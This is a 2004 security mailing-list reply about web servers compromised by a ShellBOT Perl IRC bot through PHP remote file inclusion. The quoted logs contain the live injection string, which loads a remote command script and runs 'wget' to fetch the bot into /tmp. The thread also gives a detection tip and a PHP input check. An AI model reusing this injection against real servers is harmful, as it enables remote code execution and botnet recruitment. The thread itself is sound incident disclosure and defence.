Re: Systems compromised with ShellBOT perl script

["nathan c. dickerson" <nathan () pro net>]

I've seen this alot, actually the exist same exploit was used on a 
server here. The attackers were from Brazil as well.
I tracked down some of these guys to home dsl lines, and most recently 
to a home dsl line in here in Canada.. it's just really annoying..
I've seen these fools download files from domain names registered under 
their real names.. and its always fun to give them a call..
If they get in, they'll just mass deface your server.
They launched a fairly large dos against me when I confronted them on irc..
Check out modsecurity.org, it'll prevent such garbage.. I also wrote 
some snort rules to detect this.
I beleive they have written some automated tools to inject index.php 
pages with

id=http:// and page=http:// injections

simple fix if it worked -- just replace with $id..

if(!$PAGE){
   $PAGE = "default";
}
else {
   $ret = strstr($PAGE, "://");
   if($ret == true) {
       echo "you little bastards. im coming for you.<br>";
       $message = print_r($_SERVER, true);
       mail("your () email addr", "Exploit attempt", $message);
       exit();
   }   
}

nathand

Kirby Angell wrote:

> Yesterday we noticed a funny looking Apache log entry.  It contained:
>
> http://www.DOMAIN.com/index.php?id=http://farpador.ubbi.com.br/cmd.txt?&cmd=http://farpador.ubbi.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/lotsen6k/.egg2
>
> in the Referer entry.  The actual HTTP request was inocuous, but the
> Referer entry is not.  I have been in contact with the owner of the
> computer that was the apparent target of the attack and he reports that
> the "index.php" page properly sanitizes its variables to keep this from
> working.
>
> The attack attempts to trick the server into downloading and running the
> given perl script, ".egg2" in this case.  I retrieved a copy of that
> script and found it configured to log into an IRC server
> (irc.mzima.net:6667).  Once the script is logged in, it joins the
> channel "#datalink" and then waits for private messages from its
> handler.  The script can perform limited portscans, denial of service
> attacks, and can run shell commands as whatever user the compromised web
> server was running as.  The script hides its identity by changing it
> process name to "[httpd]" so it looks like one of many server threads.
>
> I logged into the IRC server and joined the channel to find 62
> compromised systems listening.  Unfortunately I was noticed and now the
> channel is by invitation only.  I have notified as many of the
> administrators for those systems as could be identified from whois
> records.  I have also notified the operators of the IRC server.
>
> The IP address of the system that set off the original inquiry is
> 63.227.76.25.  The admin of one of the compromised boxes has found that
> same IP address involved in their attack too.  The Apache log entries
> from their system look like this:
>
> 63.227.76.25 - - [30/Aug/2004:23:38:57 -0400] "GET /popwin.js HTTP/1.0"
> 200 195
> "http://www.domain.com/aboutus/index.php?page=http://farpador.ubbi.com.br/cmd.txt?&cmd=http://farpador.ubbi.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/lotsen6k/.egg2";
> "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040626
> Firefox/0.9.1"
> 63.227.76.25 - - [30/Aug/2004:23:38:57 -0400] "GET
> /images/l2_thinkInsideBox.gif HTTP/1.0" 200 1711
> "http://www.domain.com/aboutus/index.php?page=http://farpador.ubbi.com.br/cmd.txt?&cmd=http://farpador.ubbi.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/lotsen6k/.egg2";
> "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040626
> Firefox/0.9.1"
> 63.227.76.25 - - [30/Aug/2004:23:38:57 -0400] "GET /images/l2topbox.gif
> HTTP/1.0" 200 2576
> "http://www.domain.com/aboutus/index.php?page=http://farpador.ubbi.com.br/cmd.txt?&cmd=http://farpador.ubbi.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/lotsen6k/.egg2";
> "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040626
> Firefox/0.9.1"
>
> I would like to find if he used other IPs, but so far I've only had a
> few responses from admins of the compromised systems.  All who responded
> were happy to provide log entries though.
>
> This sort of script shouldn't be terribly difficult to spot.  A "netstat
> ~ -pan | grep 6667" will show its presence while running.  Unless some
> other compromise is used in conjunction with the script, the cracker
> will not be able to install any sort of rootkit to hide the script's
> presence.
>
> --
> Thank you,
>
> Kirby Angell
> Get notified anytime your website goes down!
> http://www.alertra.com
> key: 9004F4C0
> fingerprint: DD7E E88D 7F50 2A1E 229D  836A DB5B A751 9004 F4C0